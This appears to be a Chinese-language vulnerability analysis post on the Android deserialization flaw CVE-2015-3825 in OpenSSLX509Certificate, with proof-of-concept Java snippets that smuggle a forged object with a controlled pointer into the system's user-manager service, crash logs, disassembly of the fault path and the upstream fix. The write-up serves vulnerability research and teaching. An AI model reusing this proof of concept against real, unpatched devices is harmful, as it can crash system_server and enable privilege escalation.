OpenSSL X509 Certificate反序列化漏洞（CVE-2015-3825）成因分析
一、序
序列化?(Serialization)，是將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間，對象將其當前狀態寫入到臨時或持久性存儲區。使用者可以通過從存儲區中讀取或反序列化對象的狀態，重新創建該對象。Android也有許多場景使用序列化進行數據傳遞，如App間/內的對象傳遞、Binder通信的數據傳遞等等，一般涉及跨進程、跨權限。序列化/反序列也是程序/接口的一個輸入，存儲區的內容或序列是可被隨機填充，如果使用時驗證不完整，也會導致安全漏洞。在Android系統中，可通過序列化/反序列化漏洞實現App拒絕服務、提升權限等攻擊。
二、漏洞成因
這個Android序列化漏洞(CVE-2015-3825)，影響Android4.3及Android5.1版本，也就是Jelly Bean、KitKat、棒棒糖和Android M預覽版1，波及55%的Android設備。可在受影響的設備上提權到system權限，也就意味著攻擊者可以通過替換目標應用的apk接管受害者手機上的任意應用。這個漏洞是由的IBM安全團隊Or Peles和Roee Hay在USENIX 2015大會上的議題《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》[1]。
2.1 PoC構造
?????? Paper作者沒放出Exploit也沒放出PoC，根據這篇paper我們可以知道，漏洞出在OpenSSLX509Certificate（全包名路徑為com.android.org.conscrypt.OpenSSLX509Certificate）類，OpenSSLX509Certificate類滿足：
1）OpenSSLX509Certificate是可序列化的，因為他繼承自可序列化的Certificate類；
2）它有一個finalize()方法，并且有調用native的方法（libjavascrypto.so中），參數field mContext，long型（實際為指針類型）；
3）OpenSSLX509Certificate也沒有實現特定的反序列化方法（readObject和readResolve）；
其中mContext就是要找的可被攻擊控制的指針。
我對CVE-2014-7911的POC進行了改造，
首先定義類com.android.org.conscrypt.ApenSSLX509Certificate，如下：
| public?class?ApenSSLX509Certificate?implements?Serializable { ????//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator ????private?static?final?long?serialVersionUID?= -8550350185014308538L;//android 5.1.1 emulator ????public?final?long?mContext; ????ApenSSLX509Certificate(long?ctx) { ????????mContext?= ctx; ????} } |
???????注意包名為com.android.org.conscrypt，然后在同包名下創建一個MainActivity.java，對ApenSSLX509Certificate進行調用：
| com.android.org.conscrypt.ApenSSLX509Certificate evilProxy =?new?com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL); b.putSerializable("eatthis", evilProxy); |
???????和CVE-2014-7911 PoC一樣，向“android.os.IUserManager”的service發送請求前，修改類名：
| int?l = data.length; for?(int?i=0; i<l-4; i++) { if?(data[i] ==?'A'?&& data[i+1] ==?'p'?&& data[i+2] ==?'e'?&& data[i+3] ==?'n') { data[i] =?'O'; break; } } |
???????類似CVE-2014-7911的分析，我們也對service.jar加一些日志信息輸出，在Android 4.4.2的AVD中，安裝、運行PoC，我們看到：
| E/CVE-2014-7911-trace(1669): setApplicationRestrictions E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417) at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124) at android.os.IUserManager$Stub.onTransact(IUserManager.java:245) W/System.err(1669):?????at android.os.Binder.execTransact(Binder.java:404) W/System.err(1669):?????at dalvik.system.NativeStart.run(Native Method) E/UserManagerService(1669): Error writing application restrictions list |
???????也是強制類型轉換導致異常，與CVE-2014-7911的強制轉換為java.io.Serializable導致的異常不同，因為傳入的object本身不是序列化的對象，致使類型轉換失敗。CVE-2015-3825是將com.android.org.conscrypt.OpenSSLX509Certificate強制轉換為java.lang.String[]而產生的異常。
?????? 驗證PoC過程中，在Android 4.4.2 AVD，只觸發了“Error writing application restrictions list”異常，但是GC資源回收沒被觸發。
?????? 在Android 5.1.1 AVD，可以通過重復發送n次的“TRANSACTION_setApplicationRestrictions”請求可以觸發GC回收資源，最后導致system_server的crash:
| A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon) I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys' I/DEBUG(61): Revision: '0' I/DEBUG(61): ABI: 'arm' I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon??>>> system_server <<< I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f I/DEBUG(61):?????r0 00000000??r1 0000000c??r2 00000000??r3 00000000 I/DEBUG(61):?????r4 b6c9766f??r5 00000003??r6 ffffffff??r7 7f7f7f8f I/DEBUG(61):?????r8 00000075??r9 b6c24ac9??sl a78fbaa4??fp 13068980 I/DEBUG(61):?????ip 00000001??sp a78fba58??lr b6c3da1d??pc b6c3da1c??cpsr 60000030 I/DEBUG(61): backtrace: I/DEBUG(61):?????#00 pc 00072a1c??/system/lib/libcrypto.so (CRYPTO_add_lock+59) I/DEBUG(61):?????#01 pc 000579b1??/system/lib/libcrypto.so (asn1_do_lock+68) I/DEBUG(61):?????#02 pc 0005646f??/system/lib/libcrypto.so 09-06 20:31:31.394: I/DEBUG(61):?????#03 pc 00056415??/system/lib/libcrypto.so (ASN1_item_free+12) 09-06 20:31:31.395: I/DEBUG(61):?????#04 pc 00017c0d??/data/dalvik-cache/arm/system@framework@boot.oat 09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms 09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01 |
2.2?異常分析
這里基于Android 5.1.1 AVD上的分析。
上面說到，“TRANSACTION_setApplicationRestrictions”請求發出后，導致一個異常，然后GC回收資源。
從源代碼分析，GC調用OpenSSLX509Certificate.?finalize():
| ????@Override ????protected void finalize() throws Throwable { ????????try { ????????????if (mContext != 0) { ????????????????NativeCrypto.X509_free(mContext); ????????????} ????????} finally { ????????????super.finalize(); ????????} ????} |
然后調用NativeCrypto.X509_free()方法，該方法在NativeCrypto.java定義如下：
?????? public static native void X509_free(long x509ctx);
最終是在libjavacrypto.so中實現的，該函數定義在org_conscrypt_NativeCrypto.cpp文件中：
| static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) { ????X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref)); ????JNI_TRACE("X509_free(%p)", x509); ????if (x509 == NULL) { ????????jniThrowNullPointerException(env, "x509 == null"); ????????JNI_TRACE("X509_free(%p) => x509 == null", x509); ????????return; ????} ????X509_free(x509); } |
NativeCrypto_X509_free函數最后調用的X509_free是OpenSSL庫提供的接口，關于如何找到該函數實現請參考附錄一。
根據上面分析得到信息，在動態調試時，我們在libjavacrypto.so::?NativeCrypto_X509_free函數中下斷，
| .text:00008C1C sub_8C1C????????????????????????????????; DATA XREF: .data:000175ACo .text:00008C1C?????????????????CBNZ????????????R2, loc_8C26 .text:00008C1E?????????????????LDR?????????????R1, =(aX509Null - 0x8C24) .text:00008C20?????????????????ADD?????????????R1, PC??; "x509 == null" .text:00008C22?????????????????B.W?????????????j_j_j_jniThrowNullPointerException .text:00008C26 .text:00008C26 loc_8C26????????????????????????????????; CODE XREF: sub_8C1Cj .text:00008C26?????????????????MOV?????????????R0, R2 .text:00008C28?????????????????B.W?????????????j_j_X509_free .text:00008C28 ; End of function sub_8C1C |
下斷點后，有時會碰到單步執行異常，筆者使用的一個辦法供參考：設置該lib庫的所有內存節屬性為可寫的。
在j_j_X509_free中單步步入，到libcrypto.so:?ASN1_item_free函數，
| .text:00056408?????????????????EXPORT ASN1_item_free .text:00056408 ASN1_item_free??????????????????????????; CODE XREF: j_ASN1_item_free+8j .text:00056408?????????????????????????????????????????; DATA XREF: .got:ASN1_item_free_ptro .text:00056408 .text:00056408 var_C???????????= -0xC .text:00056408 .text:00056408?????????????????PUSH.W??????????{R11,LR} .text:0005640C?????????????????SUB?????????????SP, SP, #8 .text:0005640E?????????????????STR?????????????R0, [SP,#0x10+var_C] .text:00056410?????????????????ADD?????????????R0, SP, #0x10+var_C .text:00056412?????????????????MOVS????????????R2, #0 .text:00056414?????????????????BL??????????????sub_56420 .text:00056418?????????????????ADD?????????????SP, SP, #8 .text:0005641A?????????????????POP.W???????????{R11,PC} .text:0005641A ; End of function ASN1_item_free |
sub_56420即為asn1_item_combine_free?函數，定義為：
static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)。我們繼續分析這個函數，
| .text:00056420 sub_56420???????????????????????????????; CODE XREF: ASN1_item_free+Cp .text:00056420?????????????????????????????????????????; ASN1_item_ex_free+2j ... .text:00056420?????????????????PUSH.W??????????{R4-R10,LR} .text:00056424?????????????????MOV?????????????R10, R0 ; R0: pval, &mContext; .text:00056426?????????????????MOV?????????????R8, R2??; R1: combine, int; .text:00056428?????????????????MOV?????????????R5, R1??; R1: it, ASN1_ITEM; .text:00056428?????????????????????????????????????????; libcrypto.so:X509_NAME_TYPE_it .text:0005642A?????????????????CMP.W???????????R10, #0 ; if (!pval) return; .text:0005642E?????????????????BEQ.W???????????def_5645A ; jumptable 0005645A default case .text:00056432?????????????????LDRB????????????R1, [R5] ; R1 <- it->itype; .text:00056434?????????????????LDR?????????????R0, [R5,#0x10] ; R0 <- aux = it->funcs; .text:00056436?????????????????CBZ?????????????R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0 .text:00056438?????????????????LDR.W???????????R2, [R10] ; !*pval .text:0005643C?????????????????CMP?????????????R2, #0 .text:0005643E?????????????????BEQ.W???????????def_5645A ; jumptable 0005645A default case |
如分號后的備注所寫，這段代碼將初始相關變量：將&mContext存入R10，combine存入R2，it存入R5，然后驗證參數的合法性。代碼繼續，獲取aux->asn1_cb存入R9中：
| .text:00056442 loc_56442???????????????????????????????; CODE XREF: sub_56420+16j .text:00056442?????????????????CMP?????????????R0, #0 .text:00056444?????????????????ITT NE .text:00056446?????????????????LDRNE.W?????????R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb; .text:0005644A?????????????????CMPNE.W?????????R9, #0 .text:0005644E?????????????????BNE?????????????loc_56454 ; switch(it->itype) .text:00056450?????????????????MOV.W???????????R9, #0 |
繼續，接下來調用asn1_do_lock函數：
| .text:00056466?????????????????MOV?????????????R0, R10 ; jumptable 0005645A cases 1,6 .text:00056468?????????????????MOV.W???????????R1, #0xFFFFFFFF ;?傳入-1 .text:0005646C?????????????????MOV?????????????R2, R5??; it .text:0005646E?????????????????BLX?????????????j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it) .text:0005646E?????????????????????????????????????????;?走到這了，crash在這個函數 .text:00056472?????????????????CMP?????????????R0, #0? .text:00056474?????????????????BGT?????????????def_5645A ; jumptable 0005645A default case |
此時整理asn1_do_lock函數調用時參數：R0是上面R10存儲的&mContext，R1為-1，R2為上面R5存儲的it。下面進入asn1_do_lock函數繼續分析，取出it->funcs放入R2：
| .text:00057984?????????????????LDR?????????????R2, [R2,#0x10] ; aux = it->funcs; .text:00057986?????????????????CMP?????????????R2, #0 |
再取it->funcs即aux的ref_offset放入R3中，然后計算(char*)mContext+aux->ref_offset的存入R12：
| .text:00057992?????????????????LDR?????????????R3, [R2,#8] ; aux->ref_offset .text:00057994?????????????????CMP?????????????R1, #0 .text:00057996?????????????????LDR?????????????R0, [R0] ; R0 = &mContext .text:00057998?????????????????ADD.W???????????R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset); .text:0005799C?????????????????BEQ?????????????loc_579B6 |
接下來是調用CRYPTO_add_lock函數：
| .text:000579A2?????????????????MOVS????????????R0, #0x75 .text:000579A4?????????????????LDR?????????????R3, =(aExternalOpe_43 - 0xFA1D8) .text:000579A6?????????????????ADD?????????????LR, PC ; _GLOBAL_OFFSET_TABLE_ .text:000579A8?????????????????LDR?????????????R2, [R2,#0xC] ; aux->ref_lock .text:000579AA?????????????????ADD?????????????R3, LR??; "external/openssl/crypto/asn1/tasn_utl.c" .text:000579AC?????????????????STR?????????????R0, [SP,#0x10+var_10] ; line: 0x75 -> 117 .text:000579AE?????????????????MOV?????????????R0, R12 .text:000579B0?????????????????BLX?????????????j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) |
進一步分析CRYPTO_add_lock函數，讀取R7地址的內容再加R1（R1＝-1，這里也就是減1操作），然后再存入R1地址中：
| .text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) .text:000729E0?????????????????EXPORT CRYPTO_add_lock .text:000729E0 CRYPTO_add_lock?????????????????????????; CODE XREF: j_CRYPTO_add_lock+8j .text:000729E4?????????????????MOV?????????????R7, R0??; R7 = (char*)mContext+aux->ref_offset ... ... .text:000729E8?????????????????MOV?????????????R6, R1??; R1 = -1 … … .text:00072A1C?????????????????LDR?????????????R0, [R7] ;?Crash在這，此時R7為0x7F7F7F8F .text:00072A24?????????????????ADD?????????????R6, R0 … … .text:00072A28?????????????????STR?????????????R6, [R7] ;?如果R7指向的內存為寫的，這里可以實現任意寫 |
調試時aux->ref_offset的值為0x10，參考x509_st結構，我們猜測(char*)mContext+0x10為mContext->?references，用記錄對象引用次數，管理內存的引用。再看源碼tasn_fre.c (external/openssl/crypto/asn1/)[4]的asn1_item_combine_free方法：
| ????????case ASN1_ITYPE_SEQUENCE: ????????if (asn1_do_lock(pval, -1, it) > 0) ????????????return; ????????if (asn1_cb) ????????????{ ????????????i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL); ????????????if (i == 2) ????????????????return; ????????????} |
當asn1_do_lock返回為0，即mContext->?references為0時，才調用asn1_cb函數釋放資源。
繼續CRYPTO_add_lock的反匯編代碼分析，由于我們在Java層傳入的是一個非法地址0x7f7f7f7f，所以導到內存寫異常。
?
Google的修復方法[2]是給mContext成員添加transient修飾符，使其不被序列化。
三、?總結
在對象序列化時，指針成員的序列化較易存在安全風險，如CVE-2014-7911中的mOrgue，CVE-2015-3825中的mContext。本漏洞（CVE-2015-3825）中由于mContext是可序列化的，而它指向的又是X509結構的指針，當傳入的序列化對象在反序列化產生異常時，系統調用GC回收資源，即mContext->references減1，這里mContext是可控制的，便可導致有限制的內存任意寫（多次減1）漏洞。
四、?參考
[1]https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
[2]https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
[3]https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
[4]https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c
五、?附錄
5.1?如何找到那個叫X509_free的函數
???????在OpenSSL代碼中怎么搜X509_free也搜索不到真正的代碼實現，這是因為OpenSSL中用了一堆宏、宏嵌套定義部分函數、結構，X509_free就在其中一個。細細看代碼才發現X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定義的：
IMPLEMENT_ASN1_FUNCTIONS(X509)
???????順藤摸瓜找出下面幾個嵌套的宏：
# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
??????? IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
??????? IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)
?
# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
??????? stname *fname##_new(void) \
??????? { \
??????????????? return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
??????? } \
??????? void fname##_free(stname *a) \
??????? { \
??????????????? ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
??????? }
?????????? #define ASN1_ITEM_rptr(ref) (&(ref##_it))
???????映射到X509的定義，可以翻譯如下：
X509 * X509_new(void) \
??????? { \
??????????????? return (X509 *)ASN1_item_new(&X509_it); \
??????? } \
??????? void X509_free(X509 *a) \
??????? { \
??????????????? ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
??????? }
?
?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??沒羽@Alibaba
原文地址：?https://jaq.alibaba.com/blog.htm?id=85
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